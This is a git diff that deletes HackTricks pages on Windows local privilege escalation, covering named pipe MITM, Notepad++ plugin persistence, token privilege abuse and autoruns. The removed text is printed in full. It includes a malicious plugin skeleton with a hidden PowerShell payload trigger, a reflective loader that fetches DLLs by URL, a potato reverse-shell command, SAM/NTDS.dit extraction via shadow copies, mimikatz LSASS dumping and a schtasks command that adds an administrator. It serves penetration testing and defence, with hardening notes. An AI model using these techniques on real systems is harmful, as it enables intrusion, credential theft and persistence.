-If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
-
--
-{{#ref}}
-from-high-integrity-to-system-with-name-pipes.md
-{{#endref}}
--
-{{#ref}}
-service-triggers.md
-{{#endref}}
-
-## Named Pipe IPC Abuse & MITM (ACLs, First-Instance Races, Client Hooking)
-
-When a privileged service and a low-privileged process communicate over `\\.\pipe\...`, treat the pipe like any other untrusted IPC boundary. Beyond classic server-side impersonation, weak pipe ACLs, unsafe creation flags, and client-side trust decisions can all become local privilege escalation primitives.
-
-### Enumerate candidate pipes first
-- List pipes quickly from PowerShell: `Get-ChildItem \\.\pipe\`
-- Sysinternals `pipelist64.exe` is useful to spot instance counts and single-instance pipes.
-- Prioritize names used by services running as `SYSTEM`, especially helpers, updaters, launchers, and UI brokers.
-
-### MITM via permissive DACLs and extra pipe instances
-- Any process that can talk to a privileged server can already fuzz its protocol and hunt privileged verbs.
-- The more interesting case is when the DACL grants `FILE_GENERIC_WRITE`/`GENERIC_WRITE` on the pipe object. On named pipes this implicitly includes `FILE_CREATE_PIPE_INSTANCE` (`FILE_APPEND_DATA` shares the same bit), so an attacker can create another server instance with the same name.
-- Because instances are matched in FIFO order, attacker-created and legitimate instances can be interleaved: create a rogue instance with `CreateNamedPipe`, then open the same pipe name with `CreateFile`, and wait for a real client to land on the rogue server instance.
-- Result: observe, modify, relay, or desynchronize privileged IPC without needing to own the original server process.
-
-### First-instance race on pipe security descriptors
-- `lpSecurityAttributes` only defines the DACL when the first instance of a pipe name is created.
-- If a privileged service starts late and does not use `FILE_FLAG_FIRST_PIPE_INSTANCE`, an attacker can pre-create the pipe name with a permissive DACL, then let the service create later instances under the attacker-chosen security context.
-- This turns service startup into a race condition: win the first instance, then connect or MITM later clients using the weakened ACL.
-- Mitigation for defenders, and a key review point for attackers: check whether `CreateNamedPipe(..., dwOpenMode, ...)` includes `FILE_FLAG_FIRST_PIPE_INSTANCE`. If not, test pre-creation before the service starts.
-
-### PID/signature checks are hardening, not a boundary
-- Some products try to restrict access by checking `GetNamedPipeClientProcessId`, process image path, or Authenticode signer of the connecting client.
-- This only helps until you inject into the legitimate client: once inside the trusted process, you inherit the exact PID/image/signature context the server expects.
-- For split desktop apps, instrumenting the low-privileged UI/helper process is often easier than attacking the `SYSTEM` service directly.
-
-### Hook the client according to its I/O model
-- Synchronous I/O: intercept `NtWriteFile` before the syscall consumes the buffer, and inspect/patch `NtReadFile` after it returns.
-- Overlapped I/O: store the `OVERLAPPED`/`IoStatusBlock` seen in `NtReadFile`, then inspect the buffer after `GetOverlappedResult` or the relevant wait completes.
-- Completion ports: `GetQueuedCompletionStatus` reaches `NtRemoveIoCompletion`; the returned `ApcContext` links back to the `OVERLAPPED` used by the original read, which is the right pivot to find the now-populated buffer.
-- Completion routines (`ReadFileEx`): the completion callback is delivered as an APC. If you want to tamper with returned data or inject synthetic replies, hook the real completion routine and, for custom injection, use a one-argument `QueueUserAPC` dispatcher that reconstructs the routine's 3 expected arguments.
-
-### Tooling notes
-- [pipetap](https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/) proxies named-pipe traffic through an injected helper DLL and exposes a Burp-like workflow for editing/replay.
-- [thats_no_pipe](https://github.com/synacktiv/thats_no_pipe) takes a Frida-based approach and focuses on hooking `NtReadFile`/`NtWriteFile` plus the async/completion pivots above, then forwarding traffic to a WebSocket-backed editing workflow.
-
-```bash
-pip install pipetap
-```
-
-```python
-import pipetap
-client = pipetap.Client(("127.0.0.1", 47001))
-client.write(b"OP\x00\x01...")
-```
-
-### Operational considerations
-- Named pipes are low-latency; long pauses while editing buffers can deadlock brittle services.
-- Overlapped/completion-port/APC-driven clients need different hooks than simple `ReadFile`/`WriteFile` detours.
-- Injection into the trusted client is noisy and generally best kept for exploit development, protocol reversing, or local lab fuzzing.
-
-## Troubleshooting and gotchas
-- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
-- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
-- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
-- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.
-
-## References
-- [Windows: ImpersonateNamedPipeClient documentation](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient)
-- [ired.team: Windows named pipes privilege escalation](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
-- [Microsoft: Named Pipe Security and Access Rights](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-security-and-access-rights)
-- [Microsoft: CreateNamedPipe function](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)
-- [Microsoft: Named Pipe Server Using Completion Routines](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines)
-- [pipetap – a Windows named pipe proxy tool](https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/)
-- [Synacktiv: Hooking Windows Named Pipes](https://www.synacktiv.com/en/publications/hooking-windows-named-pipes.html)
-- [Synacktiv: thats_no_pipe](https://github.com/synacktiv/thats_no_pipe)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md b/src/windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md
deleted file mode 100644
index 4769e63b153..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md
+++ /dev/null
@@ -1,105 +0,0 @@
-# Notepad++ Plugin Autoload Persistence & Execution
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Notepad++ will **autoload every plugin DLL found under its `plugins` subfolders** on launch. Dropping a malicious plugin into any **writable Notepad++ installation** gives code execution inside `notepad++.exe` every time the editor starts, which can be abused for **persistence**, stealthy **initial execution**, or as an **in-process loader** if the editor is launched elevated.
-
-Since **Notepad++ 7.6+** the expected manual-install layout is **one subfolder per plugin** (`plugins\<PluginName>\<PluginName>.dll`). In **portable mode** (presence of `doLocalConf.xml` next to `notepad++.exe`), the whole application tree stays local to that directory, which often turns copied/admin tool bundles into an easy user-writable execution surface.
-
-## Writable plugin locations
-- Standard install: `C:\Program Files\Notepad++\plugins\<PluginName>\<PluginName>.dll` (usually requires admin to write).
-- Writable options for low-privileged operators:
-  - Use the **portable Notepad++ build** in a user-writable folder.
-  - Copy `C:\Program Files\Notepad++` to a user-controlled path (e.g. `%LOCALAPPDATA%\npp\`) and run `notepad++.exe` from there.
-  - Hunt for **admin tool bundles**, extracted zip copies, or help-desk toolkits that already contain `doLocalConf.xml` and live outside `Program Files`.
-- Each plugin gets its own subfolder under `plugins` and is loaded automatically at startup; menu entries appear under **Plugins**.
-
-Quick triage:
-
-```cmd
-where /r C:\ notepad++.exe 2>nul
-for /d %D in ("%ProgramFiles%\Notepad++" "%ProgramFiles(x86)%\Notepad++" "%LOCALAPPDATA%\*notepad*" "%USERPROFILE%\Desktop\*notepad*") do @if exist "%~fD\plugins" echo [*] %~fD
-icacls "C:\Program Files\Notepad++\plugins" 2>nul
-```
-
-## Plugin load points (execution primitives)
-Notepad++ expects specific **exported functions**. These are all called during initialization, giving multiple execution surfaces:
-- **`DllMain`** — runs immediately on DLL load (first execution point).
-- **`setInfo(NppData)`** — called once on load to provide Notepad++ handles; typical place to register menu items.
-- **`getName()`** — returns the plugin name shown in the menu.
-- **`getFuncsArray(int *nbF)`** — returns menu commands; even if empty, it is called during startup.
-- **`beNotified(SCNotification*)`** — receives Notepad++ / Scintilla events (useful to defer payloads until a user action or editor event).
-- **`messageProc(UINT, WPARAM, LPARAM)`** — message handler, useful for larger data exchanges.
-- **`isUnicode()`** — compatibility flag checked at load.
-
-Most exports can be implemented as **stubs**; execution can occur from `DllMain` or any callback above during autoload.
-
-## Minimal malicious plugin skeleton
-Compile a DLL with the expected exports and place it in `plugins\\MyNewPlugin\\MyNewPlugin.dll` under a writable Notepad++ folder:
-
-```c
-BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID) { if (r == DLL_PROCESS_ATTACH) MessageBox(NULL, TEXT("Hello from Notepad++"), TEXT("MyNewPlugin"), MB_OK); return TRUE; }
-extern "C" __declspec(dllexport) void setInfo(NppData) {}
-extern "C" __declspec(dllexport) const TCHAR *getName() { return TEXT("MyNewPlugin"); }
-extern "C" __declspec(dllexport) FuncItem *getFuncsArray(int *nbF) { *nbF = 0; return NULL; }
-extern "C" __declspec(dllexport) void beNotified(SCNotification *) {}
-extern "C" __declspec(dllexport) LRESULT messageProc(UINT, WPARAM, LPARAM) { return TRUE; }
-extern "C" __declspec(dllexport) BOOL isUnicode() { return TRUE; }
-```
-
-1. Build the DLL (Visual Studio/MinGW).
-2. Create the plugin subfolder under `plugins` and drop the DLL inside.
-3. Restart Notepad++; the DLL is loaded automatically, executing `DllMain` and subsequent callbacks.
-
-## Low-noise trigger pattern via `beNotified`
-For OPSEC, many payloads should **not** fire from `DllMain`. A quieter pattern is to let the plugin load cleanly, then execute only after a realistic editor event such as **startup complete**, **buffer activation**, or the **first typed character**.
-
-```c
-static bool fired = false;
-extern "C" __declspec(dllexport) void beNotified(SCNotification *n) {
-  if (fired) return;
-  if (n->nmhdr.code == NPPN_READY ||
-      n->nmhdr.code == NPPN_BUFFERACTIVATED ||
-      n->nmhdr.code == SCN_CHARADDED) {
-    fired = true;
-    WinExec("powershell -w hidden -nop -c <payload>", SW_HIDE);
-  }
-}
-```
-
-This matches public offensive research better than a noisy `DllMain` beacon: the DLL is still autoloaded at startup, but the malicious action is delayed until Notepad++ looks genuinely in use.
-
-## Using the plugin config directory as secondary storage
-Notepad++ exposes `NPPM_GETPLUGINSCONFIGDIR`, which returns the **current user's plugin configuration directory**. A malicious plugin can use this to keep the on-disk DLL minimal while storing encrypted config, staged payloads, or tasking files in a path that blends in with normal plugin state.
-
-```c
-wchar_t cfg[MAX_PATH] = {0};
-SendMessage(nppData._nppHandle, NPPM_GETPLUGINSCONFIGDIR, MAX_PATH, (LPARAM)cfg);
-// Example result: %AppData%\Notepad++\plugins\config
-```
-
-Operationally this is useful when you want:
-- a tiny autoloaded bootstrap DLL;
-- per-user tasking without touching the main plugin binary again;
-- to separate the **autoload trigger** from the heavier second stage.
-
-## Reflective loader plugin pattern
-A weaponized plugin can turn Notepad++ into a **reflective DLL loader**:
-- Present a minimal UI/menu entry (e.g., "LoadDLL").
-- Accept a **file path** or **URL** to fetch a payload DLL.
-- Reflectively map the DLL into the current process and invoke an exported entry point (e.g., a loader function inside the fetched DLL).
-- Benefit: reuse a benign-looking GUI process instead of spawning a new loader; payload inherits the integrity of `notepad++.exe` (including elevated contexts).
-- Trade-offs: dropping an **unsigned plugin DLL** to disk is noisy; a practical variation is to use the autoloaded plugin only as a stub and keep the real implant encrypted/staged elsewhere.
-
-## Detection and hardening notes
-- Block or monitor **writes to Notepad++ plugin directories** (including portable copies in user profiles); enable controlled folder access or application allowlisting.
-- Alert on **new unsigned DLLs** under `plugins`, changes to portable Notepad++ trees, and unusual **child processes/network activity** from `notepad++.exe`.
-- Baseline legitimate plugins and investigate any new DLL that exports the normal Notepad++ plugin interface but also spawns shells, PowerShell, or network beacons.
-- Enforce plugin installation via **Plugins Admin** only, and restrict execution of portable copies from untrusted paths.
-
-## References
-- [TrustedSec - Notepad++ Plugins: Plug and Payload](https://trustedsec.com/blog/notepad-plugins-plug-and-payload)
-- [Notepad++ User Manual - Plugins](https://npp-user-manual.org/docs/plugins/)
-- [Notepad++ User Manual - Plugin Communication](https://npp-user-manual.org/docs/plugin-communication/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
deleted file mode 100644
index 7cc6c6f75ff..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
+++ /dev/null
@@ -1,237 +0,0 @@
-# Abusing Tokens
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Tokens
-
-If you **don't know what are Windows Access Tokens** read this page before continuing:
-
-
-{{#ref}}
-access-tokens.md
-{{#endref}}
-
-**Maybe you could be able to escalate privileges abusing the tokens you already have**
-
-### SeImpersonatePrivilege
-
-This is privilege that is held by any process allows the impersonation (but not creation) of any token, given that a handle to it can be obtained. A privileged token can be acquired from a Windows service (DCOM) by inducing it to perform NTLM authentication against an exploit, subsequently enabling the execution of a process with SYSTEM privileges. This vulnerability can be exploited using various tools, such as [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (which requires winrm to be disabled), [SweetPotato](https://github.com/CCob/SweetPotato), and [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
-
-Modern operator notes:
-
-- **JuicyPotato is legacy**: on Windows 10 1809+/Server 2019+, prefer **GodPotato**, **SigmaPotato**, **PrintNotifyPotato**, **RoguePotato**, **SharpEfsPotato/EfsPotato**, or **PrintSpoofer** depending on which RPC/COM surface is still reachable.
-- If you compromised a service running as **`LOCAL SERVICE`** or **`NETWORK SERVICE`** and `whoami /priv` shows a **filtered token** without `SeImpersonatePrivilege`/`SeAssignPrimaryTokenPrivilege`, recover the account's **default privilege set** first (for example with **FullPowers**) and retry the potato family afterwards.
-- Some newer forks are more operator-friendly than the original tools. For example, **SigmaPotato** adds reflection/in-memory execution and modern Windows compatibility, while **PrintNotifyPotato** abuses the PrintNotify COM service and is often useful when the classic Spooler path is disabled.
-
-```cmd
-FullPowers.exe -c "cmd /c whoami /priv" -z
-GodPotato.exe -cmd "cmd /c whoami"
-SigmaPotato.exe --revshell <ip> <port>
-PrintNotifyPotato.exe whoami
-```
-
-
-{{#ref}}
-roguepotato-and-printspoofer.md
-{{#endref}}
-
-
-{{#ref}}
-juicypotato.md
-{{#endref}}
-
-### SeAssignPrimaryPrivilege
-
-It is very similar to **SeImpersonatePrivilege**, it will use the **same method** to get a privileged token.\
-Then, this privilege allows **to assign a primary token** to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx).\
-With the token, you can create a **new process** with 'CreateProcessAsUser' or create a process suspended and **set the token** (in general, you cannot modify the primary token of a running process).
-
-### SeTcbPrivilege
-
-If you have enabled this token you can use **KERB_S4U_LOGON** to get an **impersonation token** for any other user without knowing the credentials, **add an arbitrary group** (admins) to the token, set the **integrity level** of the token to "**medium**", and assign this token to the **current thread** (SetThreadToken).
-
-### SeBackupPrivilege
-
-The system is caused to **grant all read access** control to any file (limited to read operations) by this privilege. It is utilized for **reading the password hashes of local Administrator** accounts from the registry, following which, tools like "**psexec**" or "**wmiexec**" can be used with the hash (Pass-the-Hash technique). However, this technique fails under two conditions: when the Local Administrator account is disabled, or when a policy is in place that removes administrative rights from Local Administrators connecting remotely.\
-In practice, the most reliable built-in workflow is usually **VSS + `robocopy /b`**: create/expose a shadow copy, then copy `SAM`/`SYSTEM` or `NTDS.dit` in **backup mode**, which bypasses the file ACLs.
-
-```cmd
-:: shadow.txt
-set context persistent nowriters
-add volume c: alias tk
-create
-expose %tk% z:
-
-:: then copy sensitive files from the snapshot
-diskshadow /s shadow.txt
-robocopy /b z:\Windows\System32\Config C:\temp SAM SYSTEM SECURITY
-robocopy /b z:\Windows\NTDS C:\temp ntds.dit
-```
-
-You can **abuse this privilege** with:
-
-- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
-- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
-- following **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
-- Or as explained in the **escalating privileges with Backup Operators** section of:
-
-
-{{#ref}}
-../active-directory-methodology/privileged-groups-and-token-privileges.md
-{{#endref}}
-
-### SeRestorePrivilege
-
-Permission for **write access** to any system file, irrespective of the file's Access Control List (ACL), is provided by this privilege. It opens up numerous possibilities for escalation, including the ability to **modify services**, perform DLL Hijacking, and set **debuggers** via Image File Execution Options among various other techniques.
-
-### SeCreateTokenPrivilege
-
-SeCreateTokenPrivilege is a powerful permission, especially useful when a user possesses the ability to impersonate tokens, but also in the absence of SeImpersonatePrivilege. This capability hinges on the ability to impersonate a token that represents the same user and whose integrity level does not exceed that of the current process.
-
-**Key Points:**
-
-- **Impersonation without SeImpersonatePrivilege:** It's possible to leverage SeCreateTokenPrivilege for EoP by impersonating tokens under specific conditions.
-- **Conditions for Token Impersonation:** Successful impersonation requires the target token to belong to the same user and have an integrity level that is less or equal to the integrity level of the process attempting impersonation.
-- **Creation and Modification of Impersonation Tokens:** Users can create an impersonation token and enhance it by adding a privileged group's SID (Security Identifier).
-
-### SeLoadDriverPrivilege
-
-This privilege allows to **load and unload device drivers** with the creation of a registry entry with specific values for `ImagePath` and `Type`. Since direct write access to `HKLM` (HKEY_LOCAL_MACHINE) is restricted, `HKCU` (HKEY_CURRENT_USER) must be utilized instead. However, to make `HKCU` recognizable to the kernel for driver configuration, a specific path must be followed.
-
-Modern offensive use is usually **BYOVD** (bring your own vulnerable driver): load a **signed but vulnerable** kernel driver and then use its IOCTLs to disable protections or jump to kernel code execution. Keep in mind that on recent Windows 11/Server builds the **Microsoft vulnerable driver blocklist** and/or **HVCI/Memory Integrity** often break older public chains, so the classic `szkg64.sys`-style examples are no longer universally reliable.
-
-This path is `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, where `<RID>` is the Relative Identifier of the current user. Inside `HKCU`, this entire path must be created, and two values need to be set:
-
-- `ImagePath`, which is the path to the binary to be executed
-- `Type`, with a value of `SERVICE_KERNEL_DRIVER` (`0x00000001`).
-
-**Steps to Follow:**
-
-1. Access `HKCU` instead of `HKLM` due to restricted write access.
-2. Create the path `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` within `HKCU`, where `<RID>` represents the current user's Relative Identifier.
-3. Set the `ImagePath` to the binary's execution path.
-4. Assign the `Type` as `SERVICE_KERNEL_DRIVER` (`0x00000001`).
-
-```python
-# Example Python code to set the registry values
-import winreg as reg
-
-# Define the path and values
-path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
-key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
-reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
-reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
-reg.CloseKey(key)
-```
-
-More ways to abuse this privilege in [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
-
-### SeTakeOwnershipPrivilege
-
-This is similar to to **SeRestorePrivilege**. Its primary function allows a process to **assume ownership of an object**, circumventing the requirement for explicit discretionary access through the provision of WRITE_OWNER access rights. The process involves first securing ownership of the intended registry key for writing purposes, then altering the DACL to enable write operations.
-
-```bash
-takeown /f 'C:\some\file.txt' #Now the file is owned by you
-icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
-# Use this with files that might contain credentials such as
-%WINDIR%\repair\sam
-%WINDIR%\repair\system
-%WINDIR%\repair\software
-%WINDIR%\repair\security
-%WINDIR%\system32\config\security.sav
-%WINDIR%\system32\config\software.sav
-%WINDIR%\system32\config\system.sav
-%WINDIR%\system32\config\SecEvent.Evt
-%WINDIR%\system32\config\default.sav
-c:\inetpub\wwwwroot\web.config
-```
-
-### SeDebugPrivilege
-
-This privilege permits the **debug other processes**, including to read and write in the memory. Various strategies for memory injection, capable of evading most antivirus and host intrusion prevention solutions, can be employed with this privilege.
-
-On modern Windows, remember that `SeDebugPrivilege` is usually enough to open **non-protected SYSTEM processes** and duplicate their tokens, but it is **not** a guarantee that you can touch **LSASS**. If **RunAsPPL / LSA Protection** is enabled, non-protected processes cannot read or inject into LSASS even if `SeDebugPrivilege` is present. In that case, steal a token from another non-PPL SYSTEM process, or chain with a PPL bypass/BYOVD instead of assuming `procdump` will work. For a full token-copy example using `SeDebugPrivilege` + `SeImpersonatePrivilege`, check [this page](sedebug-+-seimpersonate-copy-token.md).
-
-#### Dump memory
-
-You could use [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) to **capture the memory of a process**. Specifically, this can apply to the **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** process, which is responsible for storing user credentials once a user has successfully logged into a system.
-
-You can then load this dump in mimikatz to obtain passwords:
-
-```
-mimikatz.exe
-mimikatz # log
-mimikatz # sekurlsa::minidump lsass.dmp
-mimikatz # sekurlsa::logonpasswords
-```
-
-#### RCE
-
-If you want to get a `NT SYSTEM` shell you could use:
-
-- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
-- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
-- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
-
-```bash
-# Get the PID of a process running as NT SYSTEM
-import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
-```
-
-### SeManageVolumePrivilege
-
-This right (Perform volume maintenance tasks) allows opening raw volume device handles (e.g., \\.\C:) for direct disk I/O that bypasses NTFS ACLs. With it you can copy bytes of any file on the volume by reading the underlying blocks, enabling arbitrary file read of sensitive material (e.g., machine private keys in %ProgramData%\Microsoft\Crypto\, registry hives, SAM/NTDS via VSS). It’s particularly impactful on CA servers where exfiltrating the CA private key enables forging a Golden Certificate to impersonate any principal.
-
-See detailed techniques and mitigations:
-
-{{#ref}}
-semanagevolume-perform-volume-maintenance-tasks.md
-{{#endref}}
-
-## Check privileges
-
-```
-whoami /priv
-```
-
-The **tokens that appear as Disabled** can usually be enabled, so you can often abuse both _Enabled_ and _Disabled_ privileges.
-
-### Enable All the tokens
-
-If you have disabled privileges, you can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens:
-
-```bash
-.\EnableAllTokenPrivs.ps1
-whoami /priv
-```
-
-Or the **script** embedded in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
-
-## Table
-
-Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
-
-| Privilege                  | Impact      | Tool                    | Execution path                                                                                                                                                                                                                                                                                                                                     | Remarks                                                                                                                                                                                                                                                                                                                        |
-| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool          | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_                                                                                                                                                                                                      | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon.                                                                                                                                                                                         |
-| **`SeBackup`**             | **Threat**  | _**Built-in commands**_ | Read sensitive files with `robocopy /b` or dedicated SeBackup-aware copy helpers.                                                                                                                                                                                                                                                                 | <p>- Great for `SAM`/`SYSTEM`, `SECURITY`, `NTDS.dit`, and sometimes `%WINDIR%\MEMORY.DMP`.<br><br>- `robocopy` is convenient, but dedicated SeBackup cmdlets/APIs are often more flexible for locked/open files.</p>                                                                                                   |
-| **`SeCreateToken`**        | _**Admin**_ | 3rd party tool          | Create arbitrary token including local admin rights with `NtCreateToken`.                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
-| **`SeDebug`**              | _**Admin**_ | **PowerShell**          | Duplicate a **non-PPL** SYSTEM token or dump memory from a non-protected process.                                                                                                                                                                                                                                                                 | <p>LSASS dumping is commonly blocked if RunAsPPL/LSA Protection is enabled.</p><p>Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)</p>                                                                                                               |
-| **`SeImpersonate`**        | _**Admin**_ | 3rd party tool          | Use the **Potato family** / named-pipe impersonation to spawn SYSTEM (`PrintSpoofer`, `RoguePotato`, `GodPotato`, `SigmaPotato`, `PrintNotifyPotato`, etc.).                                                                                                                                                                                    | <p>Most practical from service accounts such as IIS APPPOOL, MSSQL, scheduled tasks, or any context that already owns `SeImpersonatePrivilege`.</p>                                                                                                                                                                            |
-| **`SeLoadDriver`**         | _**Admin**_ | 3rd party tool          | <p>1. Load a signed-but-vulnerable kernel driver (BYOVD)<br>2. Use the driver's IOCTLs to get kernel R/W, disable security tooling, or elevate to SYSTEM<br><br>Alternatively, the privilege may be used to unload security-related drivers with <code>fltMC</code> builtin command, i.e. <code>fltMC sysmondrv</code></p>                     | <p>Older public drivers such as <code>szkg64.sys</code> are increasingly blocked on modern Windows by the vulnerable-driver blocklist / HVCI.</p>                                                                                                                                                                               |
-| **`SeRestore`**            | _**Admin**_ | **PowerShell**          | <p>1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege</p>                                                                                                                                                            |
-| **`SeTakeOwnership`**      | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icacls.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U</p>                                                                                                                                       | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p>                                                                                                                                                           |
-| **`SeTcb`**                | _**Admin**_ | 3rd party tool          | <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.</p><p>To be verified.</p>                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                |
-
-## References
-
-- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
-- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
-- itm4n – Give Me Back My Privileges! Please? (restricted service tokens / FullPowers): https://itm4n.github.io/localservice-privileges/
-- Microsoft – Robocopy (`/b` backup mode bypasses file/folder ACL checks): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy
-- Microsoft – Perform volume maintenance tasks (SeManageVolumePrivilege): https://learn.microsoft.com/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/perform-volume-maintenance-tasks
-- 0xdf – HTB: Certificate (SeManageVolumePrivilege → CA key exfil → Golden Certificate): https://0xdf.gitlab.io/2025/10/04/htb-certificate.html
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
deleted file mode 100644
index a4e31c969db..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
+++ /dev/null
@@ -1,380 +0,0 @@
-# Privilege Escalation with Autoruns
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-## WMIC
-
-**Wmic** can be used to run programs on **startup**. See which binaries are programmed to run is startup with:
-
-```bash
-wmic startup get caption,command 2>nul & ^
-Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
-```
-
-## Scheduled Tasks
-
-**Tasks** can be schedules to run with **certain frequency**. See which binaries are scheduled to run with:
-
-```bash
-schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
-schtasks /query /fo LIST 2>nul | findstr TaskName
-schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
-Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
-
-#Schtask to give admin access
-#You can also write that content on a bat file that is being executed by a scheduled task
-schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"
-```
-
-## Folders
-
